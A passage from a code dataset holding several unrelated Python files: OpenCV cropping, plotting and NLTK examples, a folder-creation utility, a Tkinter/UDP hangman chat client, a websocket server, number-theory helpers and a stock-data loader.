imgg.copy()\r\n \r\ndef draw_line1(event,x,y,flags,param):\r\n global img1,imgg1,b1\r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n b1.append((x,y))\r\n elif event== cv2.EVENT_LBUTTONUP:\r\n b1.append((x,y))\r\n imgg1 = img[b1[-2][1]:b1[-1][1], b1[-2][0]:b1[-1][0]].copy()\r\n cv2.rectangle(img1, b1[-2], b1[-1],(0,0,0),3)\r\n img3 = imgg1.copy()\r\n\r\ncv2.namedWindow('image')\r\ncv2.namedWindow('image1')\r\ncv2.imshow('image',img)\r\ncv2.imshow('image1',img1)\r\ncv2.moveWindow('image1', 200, 200)\r\ncv2.moveWindow('image', 10, 10)\r\ncv2.setMouseCallback('image',draw_line)\r\ncv2.setMouseCallback('image1',draw_line1)\r\n\r\nwhile(1):\r\n cv2.imshow('image',img)\r\n cv2.imshow('image1',img1)\r\n if cv2.waitKey(1) & 0xFF == 27:\r\n a = b1[-1][1]-b1[-2][1]\r\n b = b1[-1][0]-b1[-2][0]\r\n c = a1[-1][0]-a1[-2][0]\r\n d = a1[-1][1]-a1[-2][1]\r\n m = c+b\r\n \r\n if d > a:\r\n maxi = d\r\n else:\r\n maxi = a\r\n img4[0:d, 0:c] = img2[a1[-2][1]:a1[-1][1], a1[-2][0]:a1[-1][0]].copy()\r\n img4[0:a ,c:m] = img3[b1[-2][1]:b1[-1][1], b1[-2][0]:b1[-1][0]].copy()\r\n img4 = img4[0:maxi,0:m].copy()\r\n cv2.imwrite('pict_4.jpg',img4)\r\n break\r\ncv2.destroyAllWindows()\r\n\r\n","sub_path":"labworks/coi/1/my4.py","file_name":"my4.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"71397109","text":"\"\"\"\n @Time : 2020/8/6 9:13 \n @Author : fate\n @Site : \n @File : hist.py\n @Software: PyCharm\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnp.random.seed(0)\nmu, sigma = 100, 20 # 均值 标准差\na = np.random.normal(mu, sigma, size=100)\n# print(a)\n\n# 20 == 直方图的个数\nplt.hist(a, 20, density=1, histtype='stepfilled', facecolor='b', alpha=0.75)\nplt.title('Histogram')\n\nplt.show()\n","sub_path":"数据分析/matplotlib_test/hist.py","file_name":"hist.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"426333005","text":"import nltk\nfrom nltk.corpus import brown\ncfd = nltk.ConditionalFreqDist(\n (genre,word)\n for genre in brown.categories()\n for word in brown.words(categories = genre))\ngenres = ['news', 'religion', 'hobbies', 'science_fiction', 'romance', 'humor']\nmodals = ['can', 'could', 'may', 'might', 'must', 'will']\ncfd.tabulate(conditions = genres, samples = modals)\n'''\nObserve that the most frequent modal in the news genre is will, while the most frequent\nmodal in the romance genre is could. Would you have predicted this? The idea that\nword counts might distinguish genres will be taken up again in Chapter 6.\n'''","sub_path":"Models/nltkLearn/systematically.py","file_name":"systematically.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"185542239","text":"import os\n\nprint('''Modes of operation: \n\\n1. Manual Mode - A mode where the user provides all the names of folders and sub-folders.\n\\n2. Automatic Mode - A mode where only the name (with complete location) of the text file is \ngiven which contains a list of names for the folders and the parent folder is named after the name of the text file\\n''')\n\nmode=int(input(\"Enter Mode: \"))\n\nif mode==1:\n print('''STEPS:\n \\n1. Choose the location to make directories and/or sub-directories.\n \\n2. Enter the name of the parent directory.\n \\n3. Enter the number of sub-directories to be created\n \\n4. Give the name to the corresponding sub-directories.''')\n path = input(\"Enter Location (provide full path) \\n: \")\n if path.lower()=='this':\n path=os.getcwd()\n path = path.replace(\"/\", \"\\\\\")\n if os.path.exists(path):\n os.chdir(path)\n name = input(\"Enter name of parent directory: \")\n os.mkdir(path+\"\\\\\"+name)\n folder = int(input(\"How my folders? \\n: \"))\n for i in range(folder):\n os.mkdir(path+\"\\\\\"+name+\"\\\\\"+input(\"Folder \" + str(i+1) + \" name: \"))\n else:\n print(\"No such path exists. Provide correct path\")\n print(\"Task completed successfully\")\n\nelif mode==2:\n print(\"File(s) : \" ,[i for i in os.listdir() if os.path.isfile(i)==True])\n file=input(\"Enter file: \")\n file_=file[0:-4]+\"\\\\\"\n with open(file,'r') as f:\n if os.path.exists(file_)==False:\n os.mkdir(file_)\n for i in f.readlines():\n if '\\n' in i:\n i=i[0:-1]\n i=i.replace(\":\",\" -\")\n os.mkdir(file_+i)\n print(\"Task completed successfully\")\nelse:\n print(\"Error: Wrong option provided\")\n","sub_path":"set_folders_for_me/set_folders_for_me.py","file_name":"set_folders_for_me.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"375857149","text":"# There are comments with the names of\n# the required functions to build.\n# Please paste your solution underneath\n# the appropriate comment.\n\n# factorial\ndef factorial(n):\n if n < 0:\n raise ValueError\n elif n == 0:\n return 1\n\n return factorial(n-1) * n\n\n# reverse\ndef reverse(text):\n if len(text) == 0 or len(text) == 1:\n return text\n \n return text[-1] + reverse(text[:-1])\n \n\n# bunny\ndef bunny(count):\n if count == 0:\n return 0\n \n return 2 + bunny(count-1)\n \n\n# is_nested_parens\n\ndef is_nested_parens(parens, left_index=0):\n right_index = len(parens) - 1- left_index\n\n if not parens or left_index > right_index:\n return True\n \n elif parens[left_index] == \"(\" and parens[right_index] == \")\":\n return is_nested_parens(parens, left_index+1)\n \n else:\n return False\n \n","sub_path":"part-1.py","file_name":"part-1.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"8939873","text":"import socket\nimport threading\nimport time , sys\nimport tkinter as tk\nfrom tkinter import messagebox\n\nglobal name #nombre del hilo que esta siendo usado\nglobal quit #si un jugador decide dejar el juego, esta variable será True\nglobal actualwrd #palabra puesta actualmente\nglobal word_set #Checa si una palabra esta puesta o no(True o False)\nglobal used_bar #Barra donde van las letras usadas (borra las letras cuando es False)\nglobal counter #Contador de intentos hasta que termine el juego\n\n##--------------------------------------------------------------------------------\n# inicialización de variables globales\n##--------------------------------------------------------------------------------\n\ncounter = 0\nword_set = 'False'\nused_bar = 'False'\nactualwrd = '*'\nname = ''\nquit = False\nservername = '127.0.0.1'\nport = 0\nserverport = 12000\n\n##--------------------------------------------------------------------------------\n# declaración de funciones\n#---------------------------------------------------------------------------------\n# Esta función manejará la recepción de los mensajes del servidor.\n# Y los imprimirá en la GUI.\n# Esta función es un hilo aparte y recibe el nombre de la ventana donde debe imprimir (chat),\n# un socket (sock) y un parametro en blanco (name).\n# Decodifica los comandos recibidos del servidor y los ejecuta.\n#---------------------------------------------------------------------------------\ndef recieveMsg( name , sock , chat ):\n print(\"Iniciado\")\n global quit, block, word_set, usedletter, actualwrd\n text = tk.Text(chat , width = 50 , height = 20 , yscrollcommand = s.set )\n s.config( command = text.yview)\n text.pack(side = tk.LEFT)\n while quit == False:\n try:\n msg, addr = sock.recvfrom( 1024 )\n message = msg.decode()\n tokens = message.split()\n #print(message + \" DEL SERVER\") #Para identificar los mensajes del servdidor\n except ConnectionResetError:\n print(\"Error del hilo\")\n message = messagebox.showerror(\"Error de Conexión!\" , \"No se logró una conexión...\")\n break\n if tokens[0] == 'CNTR' :\n counter = tokens[1]\n if counter == '6':\n canvas.delete(\"all\")\n canvas.create_image(175,125, image = img1 ) \n if counter == '5':\n canvas.create_image(175,125, image = img2 )\n if counter == '4':\n canvas.create_image(175,125, image = img3 )\n if counter == '3':\n canvas.create_image(175,125, image = img4 )\n if counter == '2':\n canvas.create_image(175,125, image = img5 )\n if counter == '1':\n canvas.create_image(175,125, image = img6 )\n if counter == '0':\n canvas.create_image(175,125, image = img7 )\n if counter == 'W':\n canvas.create_image(175,125, image = img8 )\n elif tokens[0] == 'SETWRD':\n #print(\"MANDE SETWORD\") #Para debugging\n block.delete(1.0 , 'end')\n block.insert(tk.INSERT , tokens[1])\n elif tokens[0] == 'SETWRD2':\n check_set(tokens[2])\n #print(\"MANDE SETWORD2\") #debugging\n block.delete(1.0 , 'end')\n block.insert(tk.INSERT , tokens[1])\n elif tokens[0] == 'UPDATEWRD':\n check_set(tokens[2])\n #print(\"MANDE UDPATE\") #debugging\n actualwrd = tokens[1]\n elif tokens[0] == 'RLET':\n global used_bar\n if(used_bar == 'False'):\n usedletter.delete(1.0 , 'end')\n used_bar = 'True'\n #print(\"MANDE RLET\") #debugging\n letter = tokens[1].upper()\n usedletter.insert(tk.INSERT , letter )\n elif message != \"QUITCOMM\":\n #Imprimimos lo que quede en el chat\n text.insert(tk.INSERT , message)\n text.see(tk.END)\n else:\n quit = True\n print(\"Hilo terminado\")\n\n#---------------------------------------------------------------------------------\n# Esta función se ejecutará cuando des click en el botón 'Enviar' ya que hayas ingresado un nombre\n# Conecta al cliente con el servidor.\n#---------------------------------------------------------------------------------\ndef submit():\n global name\n userName = user.get()\n name = userName\n if len(userName) > 0: \n try:\n clientsock.sendto(userName.encode(), (servername , serverport))\n except ConnectionResetError:\n print(\"Error de conexión!\")\n root.destroy()\n menu_w.destroy()\n else:\n disp_name_error()\n\n#---------------------------------------------------------------------------------\n# Esta funcion se ejecutará cuando des 'Enter' (en el teclado) ya que hayas ingresado un nombre de usuario.\n# Conecta al cliente con el servidor\n#---------------------------------------------------------------------------------\ndef submitenter(event):\n global name\n userName = user.get()\n name = userName\n if len(userName) > 0: \n try:\n clientsock.sendto( userName.encode() , (servername , serverport) )\n except ConnectionResetError:\n print(\"Error de conexión!\")\n root.destroy()\n menu_w.destroy()\n else:\n disp_name_error()\n\n#---------------------------------------------------------------------------------\n# Esta función enviará los mensajes escritos en la ventana de chat cuando le des\n# click al botón 'Enviar'.\n# Estos mensajes serán broadcasteados a todos los demás jugadores.\n# Los mensajes son enviados con la forma [jugador]: 'mensaje' \n# Si no hay nada en la caja de texto, no se envia nada.\n#---------------------------------------------------------------------------------\ndef chatsend():\n global name \n message = msg.get()\n if len(message) > 0: \n line = \"[\" + name + \"]: \" + message + \"\\n\"\n clientsock.sendto( line.encode() , (servername , serverport) )\n msg.delete(0 , 'end')\n\n#---------------------------------------------------------------------------------\n# Esta función enviará los mensajes escritos en la ventana de chat cuando presiones\n# 'enter'.\n# Estos mensajes serán broadcasteados a todos los demás jugadores.\n# Los mensajes son enviados con la forma [jugador]: 'mensaje' \n# Si no hay nada en la caja de texto, no se envia nada.\n#---------------------------------------------------------------------------------\ndef enter(event):\n global name\n message = msg.get()\n if len(message) > 0: \n line = \"[\" + name + \"]: \" + message + \"\\n\"\n clientsock.sendto( line.encode() , (servername , serverport) )\n msg.delete(0 , 'end')\n\n#---------------------------------------------------------------------------------\n# Error catching por si el usuario no pone un nombre de usuario\n#---------------------------------------------------------------------------------\ndef disp_name_error():\n messagebox.showerror(\"Sin nombre!\" , \"Por favor, ingresa tu nombre\\n\")\n\n#---------------------------------------------------------------------------------\n# Si un jugador decide salir del juego envia un comando al server con la forma\n# '[jugador]: ^q'\n# El comando '^q' es cachado y ejecutado por el server \n#---------------------------------------------------------------------------------\ndef quitchat():\n line = \"[\" + name + \"]: ^q \\n\"\n clientsock.sendto( line.encode() , (servername , serverport) )\n chat.destroy()\n\n#---------------------------------------------------------------------------------\n# Esta función es el pop up para que el usuario ingrese una palabra para adivinar\n#---------------------------------------------------------------------------------\ndef set_word():\n global wordwindow \n global input\n wordwindow = tk.Tk()\n wordwindow.title(\"Escoge una palabra difícil (Pero bien escrita!)\")\n wordwindow.minsize(width = 200, height =50)\n wordlabel = tk.Label( wordwindow, text = \"Ingresa tu palabra: \")\n wordlabel.pack(side = tk.LEFT)\n input = tk.Entry( wordwindow )\n input.pack(side = tk.LEFT)\n button = tk.Button( wordwindow , text = \"Poner\", width = 20 , command = wordsend )\n button.pack(side = tk.LEFT)\n wordwindow.mainloop()\n\n#---------------------------------------------------------------------------------\n# Esta función se ejecuta al darle click en 'Poner' en la 'wordwindow' (pop up arriba)\n# Envía el comando al server con la forma '[player]: SETWRD palabra'\n# Aquí modificamos 'word_set' Si es falso no hay palabra colocada y puedes ponerla\n# Si es verdadero muestra que no es tu turno para ponerla y que ya hay una.\n#---------------------------------------------------------------------------------\ndef wordsend():\n global block , word_set\n word = input.get()\n tokens = word.split()\n if (len(tokens[0]) > 0):\n if word_set == 'False': \n print(\"Boton picado\")\n block.delete(1.0 , 'end')\n block.insert(tk.INSERT , tokens[0])\n command = \"[\" + name + \"]: SETWRD \" + tokens[0] \n clientsock.sendto( command.encode() , (servername , serverport))\n else:\n messagebox.showerror(\"Palabra ya puesta!!\" , \"No es tu turno de poner una palabra, espera tu turno!\")\n wordwindow.destroy()\n\n#---------------------------------------------------------------------------------\n# Esta función es el pop up para que el jugador adivine la palabra completa\n#---------------------------------------------------------------------------------\n\ndef guess_word():\n global guess \n global guessinput\n guess = tk.Tk()\n guess.title(\"¿Te la sabes?\")\n tk.Label(guess , text = \"Intento: \" ).pack(side = tk.LEFT)\n guessinput = tk.Entry( guess )\n guessinput.pack( side = tk.LEFT)\n tk.Button(guess , text = \"Será?...\" , command = send_guess).pack(side = tk.LEFT)\n guess.mainloop()\n\n#---------------------------------------------------------------------------------\n# Esta función es ejecutada cuando le das click al botón 'Será?...' del pop up para\n# adivinar de arriba\n# Envia el comando al server con la forma '[jugador]: GUESSWRD palabra'\n#---------------------------------------------------------------------------------\ndef send_guess():\n gword = guessinput.get()\n tokens = gword.split()\n if( len(tokens[0]) > 0 ):\n command = \"[\" + name + \"]: GUESSWRD \" + tokens[0] \n clientsock.sendto( command.encode() , (servername , serverport) )\n guess.destroy()\n\n#---------------------------------------------------------------------------------\n# Esta función es para que el jugador adivine una letra (abre un pop up)\n#---------------------------------------------------------------------------------\ndef guess_letter():\n global letter \n global letterinput\n letter = tk.Tk()\n letter.title(\"Adivina por letra\")\n tk.Label(letter , text = \"letra: \" ).pack(side = tk.LEFT)\n letterinput = tk.Entry( letter , width = 20 )\n letterinput.pack( side = tk.LEFT)\n tk.Button(letter , text = \"¿Estará?...\" , command = send_letter).pack(side = tk.LEFT)\n letter.mainloop()\n\n#---------------------------------------------------------------------------------\n# Esta función es ejecutada cuando le das en el botón '¿Estará?...' del pop up de\n# arriba. Envia el comando al server con la forma '[jugador]: RLET letra'\n# Antes de enviar el comando checa si solo metió un caracter para evitar errores.\n# No checa si es una letra, solo si es un solo caracter. (Por las ñ y acentos)\n#---------------------------------------------------------------------------------\ndef send_letter():\n gletter = letterinput.get()\n tokens = gletter.split()\n if( len(tokens[0]) == 1 ):\n command = \"[\" + name + \"]: RLET \" + tokens[0] \n clientsock.sendto( command.encode() , (servername , serverport) )\n letterinput.delete(0 , 'end')\n\n#---------------------------------------------------------------------------------\n# Esta función checa y coloca el indicador de que una palabra fue puesta y si la\n# barra de letras usadas debe ser limpiada\n#---------------------------------------------------------------------------------\ndef check_set( word ):\n global used_bar, word_set\n word_set = word\n if (word == 'False'):\n used_bar = 'False'\n\ndef randomwrd():\n if word_set == 'False': \n command = \"[\" + name + \"]: RANDOMWRD\" \n clientsock.sendto(command.encode() , (servername , serverport))\n else:\n messagebox.showerror(\"Palabra ya puesta!!\" , \"No es tu turno de poner una palabra, espera tu turno!\")\n\ndef connect():\n #Para la primera ventana. Pide un nombre de usuario\n global root , user\n root = tk.Tk()\n root.title(\"Bienvenido!\")\n welcomelabel = tk.Label(root , text = \"Bienvenido a la sala de chat!!\")\n welcomelabel.grid(row = 1 , columnspan = 3)\n userlabel = tk.Label(root , text = \"Nombre:\")\n userlabel.grid(row = 3, column = 0)\n user = tk.Entry(root)\n user.bind(\"\" , submitenter)\n user.grid(row = 3 , column = 1)\n submit_button = tk.Button(root, text = \"Enviar\", command = submit)\n submit_button.grid(row = 3 , column = 2)\n root.mainloop()\n\ndef menu():\n global menu_w\n menu_w = tk.Tk()\n menu_w.title(\"Bienvenido a Captious\")\n menu_w.maxsize(width = 305 , height = 230)\n menu_w.geometry(\"305x230+%d+%d\" % ((500) , (250)) )\n img = tk.PhotoImage( file = \"images/welcome.png\")\n welcome_canvas = tk.Canvas(menu_w , bg = 'blue' , width = 300 , height = 200 )\n welcome_canvas.pack(side = tk.TOP)\n welcome_canvas.create_image( 152 , 102 , image = img)\n play = tk.Button(menu_w , command = connect)\n play.pack(side = tk.LEFT)\n play.config(text = \"Jugar\", width = 8)\n help = tk.Button(menu_w , command = disp_help )\n help.pack(side = tk.LEFT)\n help.config(text = \"Reglas\", width = 8)\n esc = tk.Button(menu_w , command = quit_game)\n esc.pack(side = tk.LEFT)\n esc.config(text = \"Salir\", width = 8)\n menu_w.mainloop()\n\ndef disp_help():\n messagebox.showinfo(\"Ayuda\" , \"Reglas del juego:\\n\\n\" +\n \"-El punto del juego es adivinar la palabra puesta por un jugador\" +\n \" antes de que te quedes sin intentos.\\n\\n\" +\n \"-Un jugador tendrá la opción de poner una palabra propia \" +\n \"o de escoger una palabra aleatoria de la base de datos.\\n\\n\" +\n \"-Si es tu turno de adivinar, puedes dar click en 'Adivinar Letra' para intentar con una letra especifica\" + \n \" o puedes dar click en 'Adivinar Palabra' si crees saber la\" +\n \" palabra completa.\\n\\n\" +\n \"-Si adivinas la palabra, ganarás la ronda y una nueva palabra puede ser puesta.\\n\\n\" +\n \"-Si te quedas sin intentos quedarás AHORCADO y el juego termina.\\n\\n\" +\n \"-CASTIGOS:\\n-1 por una letra mal adivinada.\\n-2 por una palabra mal adivinada.\\n\\n\")\n\ndef quit_game():\n sys.exit(0)\n\n#---------------------------------------------------------------------\nclientsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nclientsock.bind((servername , port))\nmenu()\nuserlength = len(name)\nif userlength > 0:\n global msg, canvas, img1 , img2 , img3 , img4 , img5 , img6 , img7\n chat = tk.Tk()\n img1 = tk.PhotoImage(file = 'images/hng1.png') \n img2 = tk.PhotoImage(file = 'images/hng2.png') \n img3 = tk.PhotoImage(file = 'images/hng3.png') \n img4 = tk.PhotoImage(file = 'images/hng4.png') \n img5 = tk.PhotoImage(file = 'images/hng5.png')\n img6 = tk.PhotoImage(file = 'images/hng6.png') \n img7 = tk.PhotoImage(file = 'images/hng7.png') \n img8 = tk.PhotoImage(file = 'images/hng8.png')\n\n chat.title(\"Captious Chat\")\n chat.minsize( width = 735 , height = 330 )\n chat.geometry(\"740x450+%d+%d\" % ((300) , (250)) )\n\n hangman = tk.Label(chat , text = \"Bienvenido a Captious, \" + name + \"!!\\n\" , font = (\"Arial\" , 15) )\n hangman.pack(side = tk.TOP)\n\n topframe = tk.Frame(chat , bg = \"green\")\n topframe.pack( side = tk.TOP)\n\n bottomframe = tk.Frame(chat , height = 30)\n bottomframe.pack( side = tk.BOTTOM )\n\n sideframe = tk.Frame(topframe , bg = \"green\" , bd = 6 , width = 80 , height = 40)\n sideframe.pack(side = tk.RIGHT)\n\n s = tk.Scrollbar(topframe)\n s.pack(side = tk.RIGHT , fill = tk.Y)\n\n chatlabel = tk.Label(bottomframe , text = \"Tu: \")\n chatlabel.pack( side = tk.LEFT)\n\n msg = tk.Entry(bottomframe , width = 50)\n msg.bind(\"\" , enter)\n msg.pack(side = tk.LEFT)\n\n chatbutton = tk.Button(bottomframe, text = \"Enviar\" , command = chatsend , height = 20 , width = 20)\n chatbutton.pack(side = tk.LEFT)\n\n quitbutton = tk.Button(bottomframe, text = \"Salir\" , command = quitchat , height = 20 , width = 10)\n quitbutton.pack(side = tk.BOTTOM)\n\n rt = threading.Thread(target = recieveMsg , args = (\"Thread\" , clientsock , topframe))\n rt.start()\n\n block = tk.Text( sideframe , width = 24 , height = 1 , bg = \"grey\")\n block.grid( row = 1 , column = 1 , stick = tk.E)\n block.insert(tk.INSERT , \"Sin palabra\")\n\n setbutton = tk.Button(sideframe , text = \"Poner Palabra\", command = set_word)\n setbutton.grid(row = 1 , column = 0 , stick = tk.W)\n\n guessbutton = tk.Button(sideframe , text = \"Adivinar Palabra\", command = guess_word)\n guessbutton.grid( row = 2 , column = 0 , stick = tk.W)\n\n letter = tk.Button(sideframe, text = \"Adivinar Letra\", command = guess_letter)\n letter.grid(row = 3 , column = 0 , stick = tk.W)\n\n randombutton = tk.Button(sideframe , text = \"Palabra Aleatoria\" , command = randomwrd )\n randombutton.grid( row = 3 , column = 1 , stick = tk.E)\n\n usedletter = tk.Text(sideframe , width = 40, height = 1 , bg = \"grey\")\n usedletter.grid(row = 4 , columnspan = 2 , stick = tk.E)\n usedletter.insert(tk.INSERT , \"Las letras usadas aparecerán aquí...\")\n\n canvas = tk.Canvas(sideframe ,width = 350 , height = 250 )\n canvas.grid( row = 5 , columnspan = 2)\n \n #El número 2 representa donde está el centro de la imagen para colocarlo en el canvas\n canvas.create_image(175,125, image = img1)\n chat.mainloop()\n\nrt.join()\nclientsock.close()\n","sub_path":"CaptiousClient.py","file_name":"CaptiousClient.py","file_ext":"py","file_size_in_byte":18507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"166001901","text":"import asyncio\nimport websockets\nimport json\n\n# Imports of Components\nfrom server.components.components import greeting\nfrom server.components.components import main\nfrom server.components.components import input_temp_preference\n\n# Custom-Imports\nfrom server import constants\nfrom server.store import Store\n\n\n\"\"\"\n--> {\"func\": \"\", \"id\": , \"payload\": {}}\n<-- {\"parent\": \"\", \"id\": , \"html\": \"\"}\n\"\"\"\n\nclass Server:\n def __init__(self, store):\n self.store = store\n\n def get_port(self):\n #return os.getenv('WS_PORT', '8765')\n return constants.SERVER_BINDING_PORT\n\n def get_host(self):\n #return os.getenv('WS_HOST', 'localhost')\n return constants.SERVER_BINDING_INTERFACE\n\n def start(self):\n return websockets.serve(self.handler, self.get_host(), self.get_port())\n\n async def handler(self, websocket, path):\n async for message in websocket:\n print('server received :', message)\n #await websocket.send(message)\n data = json.loads(message)\n\n if data['func'] in constants.PROCEDURES:\n\n if data['func'] == 'MAIN':\n print('> Greeting Message erhalten. > ' + message)\n response_dict = {\n 'parent': \"root\",\n 'id': data['id'],\n 'html': main(self.store.getall())\n }\n await websocket.send(json.dumps(response_dict))\n\n elif data['func'] == 'SHOW_VIEW_ADD_PREFERENCE':\n print('> SHOW_VIEW_ADD_PREFERENCE > ' + message)\n if data['payload']:\n # Wir haben Payload enthalten, was machen wir nun damit?\n print(f'> > {data[\"payload\"]}')\n for k in data['payload'].keys():\n self.store.set(k, data['payload'][k])\n print('> > > k: ' + k + ' - v: ' + data['payload'][k])\n response_dict = {\n 'parent': \"content\",\n 'id': data['id'],\n 'html': input_temp_preference(self.store.getall())\n }\n await websocket.send(json.dumps(response_dict))\n \"\"\"\n elif data['func'] == 'LISTE':\n print('> Laden der Liste > ' + message)\n response_dict = {\n 'parent': \"liste\",\n 'id': data['id'],\n 'html': greeting([\"Alpha\", \"Beta\", \"Gamma\"])\n }\n await websocket.send(json.dumps(response_dict))\n \"\"\"\n def get_dom(self):\n return\n\n\nif __name__ == '__main__':\n store = Store()\n store.set('temperature', 20)\n store.set('humidity', 45.5)\n\n ws = Server(store)\n asyncio.get_event_loop().run_until_complete(ws.start())\n asyncio.get_event_loop().run_forever()","sub_path":"server/ws_s.py","file_name":"ws_s.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"356103731","text":"\"\"\"\n Module contains decerator which is an implementation of singleton design pattern.\n\"\"\"\n\nfrom functools import wraps\n\n__instances = {}\n\"\"\"List of class instances created with singleton decorator.\"\"\"\n\n\ndef singleton(cls):\n \"\"\"Decorator for singleton design pattern. Function decorates a class and stores its instance to a list of instances\n from which is later returned if the class is called again.\n\n Args:\n cls: Decorated class\n\n Returns:\n Instance of a decorated class\n \"\"\"\n @wraps(cls)\n def get_instance(*args, **kwargs):\n instance = __instances.get(cls, None)\n if not instance:\n instance = cls(*args, **kwargs)\n __instances[cls] = instance\n return instance\n return get_instance\n","sub_path":"selenium_generator/base/singleton.py","file_name":"singleton.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"12690052","text":"\"\"\"Some functions that will help dealing with division and primes.\n\"\"\"\n\ndef isPrime(n):\n \"\"\"(bool) Returns true if n is a prime integer.\"\"\"\n if n < 2:\n return False\n elif n == 2:\n return True\n if n % 2 == 0:\n return False\n for x in range(3, int(n**0.5 + 1), 2):\n if n % x == 0:\n return False\n return True\n\ndef Eratos(limit):\n \"\"\"Returns a list of prime integers, where 0 < x <= limit.\n Code based on the Sieve of Eratosthenes.\"\"\"\n if limit < 2: return []\n \n primes = {}\n for n in range(2, limit + 1): primes[n] = True\n\n for n in primes:\n for f in range(n*2, limit + 1, n): primes[f] = False\n return [n for n in primes if primes[n] == True]\n\ndef invEratos(limit):\n \"\"\"Returns list of composite integers where 0 < x <= limit.\n Inverse of Eratos(limit).\"\"\"\n nonprimes = [1]\n if limit < 2: return nonprimes\n\n primes = {}\n for n in range(2, limit + 1): primes[n] = True\n\n for n in primes:\n for f in range(n*2, limit + 1, n): primes[f] = False\n nonprimes.extend([n for n in primes if primes[n] == False])\n return nonprimes\n\ndef primfac(n, form='l'):\n \"\"\"Returns a list or dictionary of n's prime factors.\n\n form='l': 'list' (DEFAULT)\n eg. primfac(72) = [2, 2, 2, 3, 3]\n\n form='d': 'dictionary', such that \n prime factors : exponent of prime factor.\n eg. primeFactorsDict(90) = {2: 1, 3: 2, 5: 1}\n Such that 90 = 2^1 * 3^2 * 5^1\"\"\"\n if form == \"d\" or form == \"D\": factors = {}\n else: factors = []\n\n for div in range(2, int(n**0.5) + 2): # +1 for range(), +1 for ceil round\n while n%div == 0:\n if type(factors) == list:\n factors.append(div)\n else:\n if div not in factors: factors[int(div)] = 1\n else: factors[int(div)] += 1\n n /= div\n if n > 1:\n if type(factors) == list:\n factors.append(int(n))\n else:\n if n not in factors: factors[int(n)] = 1\n else: factors[int(n)] += 1\n return factors\n\ndef divnum(n):\n \"\"\"Returns the number of integers that divide evenly into n.\"\"\"\n product = 1\n for item in primfac(n, form='d').values():\n product *= (item + 1)\n return product\n\ndef divisors(n, inc=True):\n \"\"\"Returns a sorted list of integers that divide evenly\n into n. If inc = True, divisors returns a list oncluding n.\"\"\"\n divs = [x for x in range(1, int(n/2) + 1) if n%x == 0]\n if inc: divs.append(n)\n return divs\n\ndef Collatz(n):\n \"\"\"Returns n's Collatz sequence.\"\"\"\n steps = [n]\n while n > 1:\n if n % 2 == 0: n /= 2\n else: n = (n*3) + 1\n steps.append(int(n))\n return steps\n\ndef GCD(*args):\n \"\"\"Returns the greatest common divisor of any number of numbers.\"\"\"\n if len(args) == 1: return args[0]\n while len(args) > 2: #GCD(a, b, c) = GCD(a, GCD(b, c))\n args.append(GCD(args.pop(), args.pop()))\n\n a, b = args\n while b != 0:\n a, b = b, a%b\n return a\n\ndef LCM(*args):\n \"\"\"Returns the lowest common multiple of any number of numbers.\"\"\"\n if len(args) == 1: return args[0]\n while len(args) > 2: #LCM(a, b, c) = LCM(a, GCD(b, c))\n args.append(LCM(args.pop(), args.pop()))\n\n a, b = args\n return int(a*b / GCD(a, b)) #LCM(a, b) = a*b / GCD(a, b)\n","sub_path":"dwdiv.py","file_name":"dwdiv.py","file_ext":"py","file_size_in_byte":3335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"517283613","text":"'''\r\nCreated on 25 Jul 2017\r\n\r\n@author: Nick\r\n'''\r\n\r\n\r\n\r\n\r\nimport sys\r\nfrom dataOperations import DataOps\r\nimport cRoutines\r\nfrom utils import getPar\r\nimport dataOperations\r\nimport itertools\r\nsys.path.append('C:\\\\Users\\\\Nick\\\\workspace\\\\git\\\\1st iteration')\r\nprint(sys.path)\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom dataCollection.dataUtils import readCSV, writeDB, readTicker, dBaseAction,\\\r\n writeDBv2\r\nfrom _datetime import datetime\r\nfrom dataCollection.downloadData import downloadYahoo\r\nimport time\r\nimport random\r\nimport os\r\nfrom cRoutines import ewma, ewmaCovar\r\nimport gc\r\nimport utils\r\n\r\n\r\n### Full Clean,run periodically (weekly?) if divideneds change adjusted close back in time. Daily reports can use yahoo Daily clean, then full scrub on weekend?\r\nfullClean = True\r\n## Just run corralations once a week, set to Sunday = 6\r\nrunCorr = False\r\n#runCorr = datetime.today().weekday() == 6\r\n\r\nstart_time = time.time()\r\ndBase = 'C:\\\\Users\\\\Nick\\\\Documents\\\\project MONEY\\\\data\\\\PJMdataBase.db'\r\ndBase1 = 'C:\\\\Users\\\\Nick\\\\Documents\\\\project MONEY\\\\data\\\\yahooDaily-postAPIchange.db'\r\n\r\nfundementalFile = 'C:\\\\Users\\\\Nick\\\\Documents\\\\project MONEY\\\\fundementalSymbols.csv'\r\n\r\ntme = datetime.now()\r\nuniqueDates = dBaseAction(dBase1, ''' select distinct timestamp from yahooDaily ''')[0]\r\nuniqueDates1 = dBaseAction(dBase, ''' select distinct timestamp from yahooFundementals ''')[0]\r\ndates = np.unique(np.concatenate((uniqueDates,uniqueDates1))).astype('datetime64[D]')\r\ndates.sort()\r\n\r\ntickersBase = dBaseAction(dBase, ''' select * from tickers ''')[0]\r\ntickersBase1 = dBaseAction(dBase, ''' select * from tickersNew ''')[0]\r\ntickersBase = tickersBase[ ~tickersBase.ticker.isin(tickersBase1.ticker)]\r\n\r\nfundementalTicks = dBaseAction(dBase, ''' select distinct symbol from 